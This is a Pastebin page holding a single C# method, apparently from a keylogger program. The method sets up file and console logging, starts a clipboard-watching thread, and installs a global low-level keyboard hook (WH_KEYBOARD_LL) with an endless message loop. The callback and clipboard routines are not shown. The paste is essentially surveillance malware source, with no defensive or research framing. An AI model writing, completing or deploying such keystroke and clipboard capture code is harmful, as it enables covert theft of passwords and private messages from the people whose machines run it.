Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void StartLoggers(string[] args)
- {
- try
- {
- Trace.Listeners.Clear();
- TextWriterTraceListener twtl = new TextWriterTraceListener(Program.logName);
- twtl.Name = "TextLogger";
- twtl.TraceOutputOptions = TraceOptions.ThreadId | TraceOptions.DateTime;
- ConsoleTraceListener ctl = new ConsoleTraceListener(false);
- ctl.TraceOutputOptions = TraceOptions.DateTime;
- Trace.Listeners.Add(twtl);
- Trace.Listeners.Add(ctl);
- Trace.AutoFlush = true;
- ThreadStart clipboardThreadStart = new ThreadStart(BootClipboard);
- Thread clipboardThread = new Thread(clipboardThreadStart);
- clipboardThread.Start();
- HookProc callback = CallbackFunction;
- var module = Process.GetCurrentProcess().MainModule.ModuleName;
- var moduleHandle = GetModuleHandle(module);
- var hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, callback, moduleHandle, 0);
- while (true)
- {
- PeekMessage(IntPtr.Zero, IntPtr.Zero, 0x100, 0x109, 0);
- System.Threading.Thread.Sleep(5);
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine("[ERROR] Exception: {0}", ex);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement